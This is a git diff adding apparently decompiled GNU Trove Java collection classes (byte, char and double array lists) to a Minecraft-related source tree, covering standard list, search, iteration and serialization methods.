+    
+    int low = fromIndex;
+    int high = toIndex - 1;
+    
+    while (low <= high) {
+      int mid = low + high >>> 1;
+      byte midVal = _data[mid];
+      
+      if (midVal < value) {
+        low = mid + 1;
+      }
+      else if (midVal > value) {
+        high = mid - 1;
+      }
+      else {
+        return mid;
+      }
+    }
+    return -(low + 1);
+  }
+  
+
+  public int indexOf(byte value)
+  {
+    return indexOf(0, value);
+  }
+  
+
+  public int indexOf(int offset, byte value)
+  {
+    for (int i = offset; i < _pos; i++) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public int lastIndexOf(byte value)
+  {
+    return lastIndexOf(_pos, value);
+  }
+  
+
+  public int lastIndexOf(int offset, byte value)
+  {
+    for (int i = offset; i-- > 0;) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public boolean contains(byte value)
+  {
+    return lastIndexOf(value) >= 0;
+  }
+  
+
+  public TByteList grep(TByteProcedure condition)
+  {
+    TByteArrayList list = new TByteArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public TByteList inverseGrep(TByteProcedure condition)
+  {
+    TByteArrayList list = new TByteArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (!condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public byte max()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find maximum of an empty list");
+    }
+    byte max = Byte.MIN_VALUE;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] > max) {
+        max = _data[i];
+      }
+    }
+    return max;
+  }
+  
+
+  public byte min()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find minimum of an empty list");
+    }
+    byte min = Byte.MAX_VALUE;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] < min) {
+        min = _data[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    int i = 0; for (int end = _pos - 1; i < end; i++) {
+      buf.append(_data[i]);
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_data[(_pos - 1)]);
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+
+  class TByteArrayIterator
+    implements TByteIterator
+  {
+    private int cursor = 0;
+    
+
+
+
+
+
+    int lastRet = -1;
+    
+    TByteArrayIterator(int index)
+    {
+      cursor = index;
+    }
+    
+
+    public boolean hasNext()
+    {
+      return cursor < size();
+    }
+    
+    public byte next()
+    {
+      try
+      {
+        byte next = get(cursor);
+        lastRet = (cursor++);
+        return next;
+      } catch (IndexOutOfBoundsException e) {
+        throw new NoSuchElementException();
+      }
+    }
+    
+
+    public void remove()
+    {
+      if (lastRet == -1) {
+        throw new IllegalStateException();
+      }
+      try {
+        remove(lastRet, 1);
+        if (lastRet < cursor)
+          cursor -= 1;
+        lastRet = -1;
+      } catch (IndexOutOfBoundsException e) {
+        throw new ConcurrentModificationException();
+      }
+    }
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeInt(_pos);
+    
+
+    out.writeByte(no_entry_value);
+    
+
+    int len = _data.length;
+    out.writeInt(len);
+    for (int i = 0; i < len; i++) {
+      out.writeByte(_data[i]);
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _pos = in.readInt();
+    
+
+    no_entry_value = in.readByte();
+    
+
+    int len = in.readInt();
+    _data = new byte[len];
+    for (int i = 0; i < len; i++) {
+      _data[i] = in.readByte();
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/list/array/TCharArrayList.java b/src/minecraft/gnu/trove/list/array/TCharArrayList.java
new file mode 100644
index 0000000..84d8551
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/array/TCharArrayList.java
@@ -0,0 +1,1013 @@
+package gnu.trove.list.array;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.list.TCharList;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharArrayList
+  implements TCharList, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected char[] _data;
+  protected int _pos;
+  protected static final int DEFAULT_CAPACITY = 10;
+  protected char no_entry_value;
+  
+  public TCharArrayList()
+  {
+    this(10, '\000');
+  }
+  
+
+
+
+
+
+
+
+  public TCharArrayList(int capacity)
+  {
+    this(capacity, '\000');
+  }
+  
+
+
+
+
+
+
+
+  public TCharArrayList(int capacity, char no_entry_value)
+  {
+    _data = new char[capacity];
+    _pos = 0;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+  public TCharArrayList(TCharCollection collection)
+  {
+    this(collection.size());
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+
+  public TCharArrayList(char[] values)
+  {
+    this(values.length);
+    add(values);
+  }
+  
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public void ensureCapacity(int capacity)
+  {
+    if (capacity > _data.length) {
+      int newCap = Math.max(_data.length << 1, capacity);
+      char[] tmp = new char[newCap];
+      System.arraycopy(_data, 0, tmp, 0, _data.length);
+      _data = tmp;
+    }
+  }
+  
+
+  public int size()
+  {
+    return _pos;
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return _pos == 0;
+  }
+  
+
+
+
+  public void trimToSize()
+  {
+    if (_data.length > size()) {
+      char[] tmp = new char[size()];
+      toArray(tmp, 0, tmp.length);
+      _data = tmp;
+    }
+  }
+  
+
+
+
+  public boolean add(char val)
+  {
+    ensureCapacity(_pos + 1);
+    _data[(_pos++)] = val;
+    return true;
+  }
+  
+
+  public void add(char[] vals)
+  {
+    add(vals, 0, vals.length);
+  }
+  
+
+  public void add(char[] vals, int offset, int length)
+  {
+    ensureCapacity(_pos + length);
+    System.arraycopy(vals, offset, _data, _pos, length);
+    _pos += length;
+  }
+  
+
+  public void insert(int offset, char value)
+  {
+    if (offset == _pos) {
+      add(value);
+      return;
+    }
+    ensureCapacity(_pos + 1);
+    
+    System.arraycopy(_data, offset, _data, offset + 1, _pos - offset);
+    
+    _data[offset] = value;
+    _pos += 1;
+  }
+  
+
+  public void insert(int offset, char[] values)
+  {
+    insert(offset, values, 0, values.length);
+  }
+  
+
+  public void insert(int offset, char[] values, int valOffset, int len)
+  {
+    if (offset == _pos) {
+      add(values, valOffset, len);
+      return;
+    }
+    
+    ensureCapacity(_pos + len);
+    
+    System.arraycopy(_data, offset, _data, offset + len, _pos - offset);
+    
+    System.arraycopy(values, valOffset, _data, offset, len);
+    _pos += len;
+  }
+  
+
+  public char get(int offset)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    return _data[offset];
+  }
+  
+
+
+
+  public char getQuick(int offset)
+  {
+    return _data[offset];
+  }
+  
+
+  public void set(int offset, char val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    _data[offset] = val;
+  }
+  
+
+  public char replace(int offset, char val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    char old = _data[offset];
+    _data[offset] = val;
+    return old;
+  }
+  
+
+  public void set(int offset, char[] values)
+  {
+    set(offset, values, 0, values.length);
+  }
+  
+
+  public void set(int offset, char[] values, int valOffset, int length)
+  {
+    if ((offset < 0) || (offset + length > _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(values, valOffset, _data, offset, length);
+  }
+  
+
+
+
+  public void setQuick(int offset, char val)
+  {
+    _data[offset] = val;
+  }
+  
+
+  public void clear()
+  {
+    clear(10);
+  }
+  
+
+
+
+
+  public void clear(int capacity)
+  {
+    _data = new char[capacity];
+    _pos = 0;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    _pos = 0;
+    Arrays.fill(_data, no_entry_value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void resetQuick()
+  {
+    _pos = 0;
+  }
+  
+
+  public boolean remove(char value)
+  {
+    for (int index = 0; index < _pos; index++) {
+      if (value == _data[index]) {
+        remove(index, 1);
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public char removeAt(int offset)
+  {
+    char old = get(offset);
+    remove(offset, 1);
+    return old;
+  }
+  
+
+  public void remove(int offset, int length)
+  {
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    
+    if (offset == 0)
+    {
+      System.arraycopy(_data, length, _data, 0, _pos - length);
+    }
+    else if (_pos - length != offset)
+    {
+
+
+
+
+      System.arraycopy(_data, offset + length, _data, offset, _pos - (offset + length));
+    }
+    
+    _pos -= length;
+  }
+  
+
+
+
+
+  public TCharIterator iterator()
+  {
+    return new TCharArrayIterator(0);
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Character)) {
+        char c = ((Character)element).charValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TCharCollection collection)
+  {
+    if (this == collection) {
+      return true;
+    }
+    TCharIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      char element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(char[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Character> collection)
+  {
+    boolean changed = false;
+    for (Character element : collection) {
+      char e = element.charValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TCharCollection collection)
+  {
+    boolean changed = false;
+    TCharIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      char element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(char[] array)
+  {
+    boolean changed = false;
+    for (char element : array) {
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TCharIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Character.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TCharCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TCharIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(char[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    char[] data = _data;
+    
+    for (int i = data.length; i-- > 0;) {
+      if (Arrays.binarySearch(array, data[i]) < 0) {
+        remove(i, 1);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Character)) {
+        char c = ((Character)element).charValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TCharCollection collection)
+  {
+    if (collection == this) {
+      clear();
+      return true;
+    }
+    boolean changed = false;
+    TCharIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      char element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(char[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void transformValues(TCharFunction function)
+  {
+    for (int i = _pos; i-- > 0;) {
+      _data[i] = function.execute(_data[i]);
+    }
+  }
+  
+
+  public void reverse()
+  {
+    reverse(0, _pos);
+  }
+  
+
+  public void reverse(int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(i, j);i++;
+    }
+  }
+  
+
+  public void shuffle(Random rand)
+  {
+    for (int i = _pos; i-- > 1;) {
+      swap(i, rand.nextInt(i));
+    }
+  }
+  
+
+
+
+
+
+
+  private void swap(int i, int j)
+  {
+    char tmp = _data[i];
+    _data[i] = _data[j];
+    _data[j] = tmp;
+  }
+  
+
+
+
+  public TCharList subList(int begin, int end)
+  {
+    if (end < begin) {
+      throw new IllegalArgumentException("end index " + end + " greater than begin index " + begin);
+    }
+    
+    if (begin < 0) {
+      throw new IndexOutOfBoundsException("begin index can not be < 0");
+    }
+    if (end > _data.length) {
+      throw new IndexOutOfBoundsException("end index < " + _data.length);
+    }
+    TCharArrayList list = new TCharArrayList(end - begin);
+    for (int i = begin; i < end; i++) {
+      list.add(_data[i]);
+    }
+    return list;
+  }
+  
+
+  public char[] toArray()
+  {
+    return toArray(0, _pos);
+  }
+  
+
+  public char[] toArray(int offset, int len)
+  {
+    char[] rv = new char[len];
+    toArray(rv, offset, len);
+    return rv;
+  }
+  
+
+  public char[] toArray(char[] dest)
+  {
+    int len = dest.length;
+    if (dest.length > _pos) {
+      len = _pos;
+      dest[len] = no_entry_value;
+    }
+    toArray(dest, 0, len);
+    return dest;
+  }
+  
+
+  public char[] toArray(char[] dest, int offset, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(_data, offset, dest, 0, len);
+    return dest;
+  }
+  
+
+  public char[] toArray(char[] dest, int source_pos, int dest_pos, int len)
+  {
+    if (len == 0) {
+      return dest;
+    }
+    if ((source_pos < 0) || (source_pos >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(source_pos);
+    }
+    System.arraycopy(_data, source_pos, dest, dest_pos, len);
+    return dest;
+  }
+  
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (other == this) {
+      return true;
+    }
+    if ((other instanceof TCharArrayList)) {
+      TCharArrayList that = (TCharArrayList)other;
+      if (that.size() != size()) { return false;
+      }
+      for (int i = _pos; i-- > 0;) {
+        if (_data[i] != _data[i]) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int h = 0;
+    for (int i = _pos; i-- > 0;) {
+      h += HashFunctions.hash(_data[i]);
+    }
+    return h;
+  }
+  
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    for (int i = 0; i < _pos; i++) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachDescending(TCharProcedure procedure)
+  {
+    for (int i = _pos; i-- > 0;) {
+      if (!procedure.execute(_data[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+  public void sort()
+  {
+    Arrays.sort(_data, 0, _pos);
+  }
+  
+
+  public void sort(int fromIndex, int toIndex)
+  {
+    Arrays.sort(_data, fromIndex, toIndex);
+  }
+  
+
+
+
+  public void fill(char val)
+  {
+    Arrays.fill(_data, 0, _pos, val);
+  }
+  
+
+  public void fill(int fromIndex, int toIndex, char val)
+  {
+    if (toIndex > _pos) {
+      ensureCapacity(toIndex);
+      _pos = toIndex;
+    }
+    Arrays.fill(_data, fromIndex, toIndex, val);
+  }
+  
+
+
+
+  public int binarySearch(char value)
+  {
+    return binarySearch(value, 0, _pos);
+  }
+  
+
+  public int binarySearch(char value, int fromIndex, int toIndex)
+  {
+    if (fromIndex < 0) {
+      throw new ArrayIndexOutOfBoundsException(fromIndex);
+    }
+    if (toIndex > _pos) {
+      throw new ArrayIndexOutOfBoundsException(toIndex);
+    }
+    
+    int low = fromIndex;
+    int high = toIndex - 1;
+    
+    while (low <= high) {
+      int mid = low + high >>> 1;
+      char midVal = _data[mid];
+      
+      if (midVal < value) {
+        low = mid + 1;
+      }
+      else if (midVal > value) {
+        high = mid - 1;
+      }
+      else {
+        return mid;
+      }
+    }
+    return -(low + 1);
+  }
+  
+
+  public int indexOf(char value)
+  {
+    return indexOf(0, value);
+  }
+  
+
+  public int indexOf(int offset, char value)
+  {
+    for (int i = offset; i < _pos; i++) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public int lastIndexOf(char value)
+  {
+    return lastIndexOf(_pos, value);
+  }
+  
+
+  public int lastIndexOf(int offset, char value)
+  {
+    for (int i = offset; i-- > 0;) {
+      if (_data[i] == value) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+  public boolean contains(char value)
+  {
+    return lastIndexOf(value) >= 0;
+  }
+  
+
+  public TCharList grep(TCharProcedure condition)
+  {
+    TCharArrayList list = new TCharArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public TCharList inverseGrep(TCharProcedure condition)
+  {
+    TCharArrayList list = new TCharArrayList();
+    for (int i = 0; i < _pos; i++) {
+      if (!condition.execute(_data[i])) {
+        list.add(_data[i]);
+      }
+    }
+    return list;
+  }
+  
+
+  public char max()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find maximum of an empty list");
+    }
+    char max = '\000';
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] > max) {
+        max = _data[i];
+      }
+    }
+    return max;
+  }
+  
+
+  public char min()
+  {
+    if (size() == 0) {
+      throw new IllegalStateException("cannot find minimum of an empty list");
+    }
+    char min = 65535;
+    for (int i = 0; i < _pos; i++) {
+      if (_data[i] < min) {
+        min = _data[i];
+      }
+    }
+    return min;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    int i = 0; for (int end = _pos - 1; i < end; i++) {
+      buf.append(_data[i]);
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_data[(_pos - 1)]);
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+
+  class TCharArrayIterator
+    implements TCharIterator
+  {
+    private int cursor = 0;
+    
+
+
+
+
+
+    int lastRet = -1;
+    
+    TCharArrayIterator(int index)
+    {
+      cursor = index;
+    }
+    
+
+    public boolean hasNext()
+    {
+      return cursor < size();
+    }
+    
+    public char next()
+    {
+      try
+      {
+        char next = get(cursor);
+        lastRet = (cursor++);
+        return next;
+      } catch (IndexOutOfBoundsException e) {
+        throw new NoSuchElementException();
+      }
+    }
+    
+
+    public void remove()
+    {
+      if (lastRet == -1) {
+        throw new IllegalStateException();
+      }
+      try {
+        remove(lastRet, 1);
+        if (lastRet < cursor)
+          cursor -= 1;
+        lastRet = -1;
+      } catch (IndexOutOfBoundsException e) {
+        throw new ConcurrentModificationException();
+      }
+    }
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeInt(_pos);
+    
+
+    out.writeChar(no_entry_value);
+    
+
+    int len = _data.length;
+    out.writeInt(len);
+    for (int i = 0; i < len; i++) {
+      out.writeChar(_data[i]);
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _pos = in.readInt();
+    
+
+    no_entry_value = in.readChar();
+    
+
+    int len = in.readInt();
+    _data = new char[len];
+    for (int i = 0; i < len; i++) {
+      _data[i] = in.readChar();
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/list/array/TDoubleArrayList.java b/src/minecraft/gnu/trove/list/array/TDoubleArrayList.java
new file mode 100644
index 0000000..b43d8d0
--- /dev/null
+++ b/src/minecraft/gnu/trove/list/array/TDoubleArrayList.java
@@ -0,0 +1,1013 @@
+package gnu.trove.list.array;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.list.TDoubleList;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleArrayList
+  implements TDoubleList, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected double[] _data;
+  protected int _pos;
+  protected static final int DEFAULT_CAPACITY = 10;
+  protected double no_entry_value;
+  
+  public TDoubleArrayList()
+  {
+    this(10, 0.0D);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleArrayList(int capacity)
+  {
+    this(capacity, 0.0D);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleArrayList(int capacity, double no_entry_value)
+  {
+    _data = new double[capacity];
+    _pos = 0;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+  public TDoubleArrayList(TDoubleCollection collection)
+  {
+    this(collection.size());
+    addAll(collection);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleArrayList(double[] values)
+  {
+    this(values.length);
+    add(values);
+  }
+  
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public void ensureCapacity(int capacity)
+  {
+    if (capacity > _data.length) {
+      int newCap = Math.max(_data.length << 1, capacity);
+      double[] tmp = new double[newCap];
+      System.arraycopy(_data, 0, tmp, 0, _data.length);
+      _data = tmp;
+    }
+  }
+  
+
+  public int size()
+  {
+    return _pos;
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return _pos == 0;
+  }
+  
+
+
+
+  public void trimToSize()
+  {
+    if (_data.length > size()) {
+      double[] tmp = new double[size()];
+      toArray(tmp, 0, tmp.length);
+      _data = tmp;
+    }
+  }
+  
+
+
+
+  public boolean add(double val)
+  {
+    ensureCapacity(_pos + 1);
+    _data[(_pos++)] = val;
+    return true;
+  }
+  
+
+  public void add(double[] vals)
+  {
+    add(vals, 0, vals.length);
+  }
+  
+
+  public void add(double[] vals, int offset, int length)
+  {
+    ensureCapacity(_pos + length);
+    System.arraycopy(vals, offset, _data, _pos, length);
+    _pos += length;
+  }
+  
+
+  public void insert(int offset, double value)
+  {
+    if (offset == _pos) {
+      add(value);
+      return;
+    }
+    ensureCapacity(_pos + 1);
+    
+    System.arraycopy(_data, offset, _data, offset + 1, _pos - offset);
+    
+    _data[offset] = value;
+    _pos += 1;
+  }
+  
+
+  public void insert(int offset, double[] values)
+  {
+    insert(offset, values, 0, values.length);
+  }
+  
+
+  public void insert(int offset, double[] values, int valOffset, int len)
+  {
+    if (offset == _pos) {
+      add(values, valOffset, len);
+      return;
+    }
+    
+    ensureCapacity(_pos + len);
+    
+    System.arraycopy(_data, offset, _data, offset + len, _pos - offset);
+    
+    System.arraycopy(values, valOffset, _data, offset, len);
+    _pos += len;
+  }
+  
+
+  public double get(int offset)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    return _data[offset];
+  }
+  
+
+
+
+  public double getQuick(int offset)
+  {
+    return _data[offset];
+  }
+  
+
+  public void set(int offset, double val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    _data[offset] = val;
+  }
+  
+
+  public double replace(int offset, double val)
+  {
+    if (offset >= _pos) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    double old = _data[offset];
+    _data[offset] = val;
+    return old;
+  }
+  
+
+  public void set(int offset, double[] values)
+  {
+    set(offset, values, 0, values.length);
+  }
+  
+
+  public void set(int offset, double[] values, int valOffset, int length)
+  {
+    if ((offset < 0) || (offset + length > _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    System.arraycopy(values, valOffset, _data, offset, length);
+  }
+  
+
+
+
+  public void setQuick(int offset, double val)
+  {
+    _data[offset] = val;
+  }
+  
+
+  public void clear()
+  {
+    clear(10);
+  }
+  
+
+
+
+
+  public void clear(int capacity)
+  {
+    _data = new double[capacity];
+    _pos = 0;
+  }
+  
+
+
+
+
+
+  public void reset()
+  {
+    _pos = 0;
+    Arrays.fill(_data, no_entry_value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void resetQuick()
+  {
+    _pos = 0;
+  }
+  
+
+  public boolean remove(double value)
+  {
+    for (int index = 0; index < _pos; index++) {
+      if (value == _data[index]) {
+        remove(index, 1);
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public double removeAt(int offset)
+  {
+    double old = get(offset);
+    remove(offset, 1);
+    return old;
+  }
+  
+
+  public void remove(int offset, int length)
+  {
+    if ((offset < 0) || (offset >= _pos)) {
+      throw new ArrayIndexOutOfBoundsException(offset);
+    }
+    
+    if (offset == 0)
+    {
+      System.arraycopy(_data, length, _data, 0, _pos - length);
+    }
+    else if (_pos - length != offset)
+    {
+
+
+
+
+      System.arraycopy(_data, offset + length, _data, offset, _pos - (offset + length));
+    }
+    
+    _pos -= length;
+  }
+  
+
+
+
+
+  public TDoubleIterator iterator()
+  {
+    return new TDoubleArrayIterator(0);
+  }
+  
+
+  public boolean containsAll(Collection<?> collection)
+  {
+    for (Object element : collection) {
+      if ((element instanceof Double)) {
+        double c = ((Double)element).doubleValue();
+        if (!contains(c)) {
+          return false;
+        }
+      } else {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public boolean containsAll(TDoubleCollection collection)
+  {
+    if (this == collection) {
+      return true;
+    }
+    TDoubleIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      double element = iter.next();
+      if (!contains(element)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean containsAll(double[] array)
+  {
+    for (int i = array.length; i-- > 0;) {
+      if (!contains(array[i])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean addAll(Collection<? extends Double> collection)
+  {
+    boolean changed = false;
+    for (Double element : collection) {
+      double e = element.doubleValue();
+      if (add(e)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(TDoubleCollection collection)
+  {
+    boolean changed = false;
+    TDoubleIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      double element = iter.next();
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean addAll(double[] array)
+  {
+    boolean changed = false;
+    for (double element : array) {
+      if (add(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+
+  public boolean retainAll(Collection<?> collection)
+  {
+    boolean modified = false;
+    TDoubleIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(Double.valueOf(iter.next()))) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(TDoubleCollection collection)
+  {
+    if (this == collection) {
+      return false;
+    }
+    boolean modified = false;
+    TDoubleIterator iter = iterator();
+    while (iter.hasNext()) {
+      if (!collection.contains(iter.next())) {
+        iter.remove();
+        modified = true;
+      }
+    }
+    return modified;
+  }
+  
+
+  public boolean retainAll(double[] array)
+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    double[] data = _data;
+    
+    for (int i = data.length; i-- > 0;) {
+      if (Arrays.binarySearch(array, data[i]) < 0) {
+        remove(i, 1);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Double)) {
+        double c = ((Double)element).doubleValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TDoubleCollection collection)
+  {
+    if (collection == this) {
+      clear();
+      return true;
+    }
+    boolean changed = false;
+    TDoubleIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      double element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(double[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void transformValues(TDoubleFunction function)
+  {
+    for (int i = _pos; i-- > 0;) {
+      _data[i] = function.execute(_data[i]);
+    }
+  }
+  
+
+  public void reverse()
+  {
+    reverse(0, _pos);
+  }
+  
+
+  public void reverse(int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(i, j);i++;
+    }
+  }
+  
+
+  public void shuffle(Random rand)
+  {
+    for (int i = _pos; i-- > 1;) {
+      swap(i, rand.nextInt(i));
+    }
+  }
+  
+
+
+
+
+
+
+  private void swap(int i, int j)
+  {
+    double tmp = _data[i];
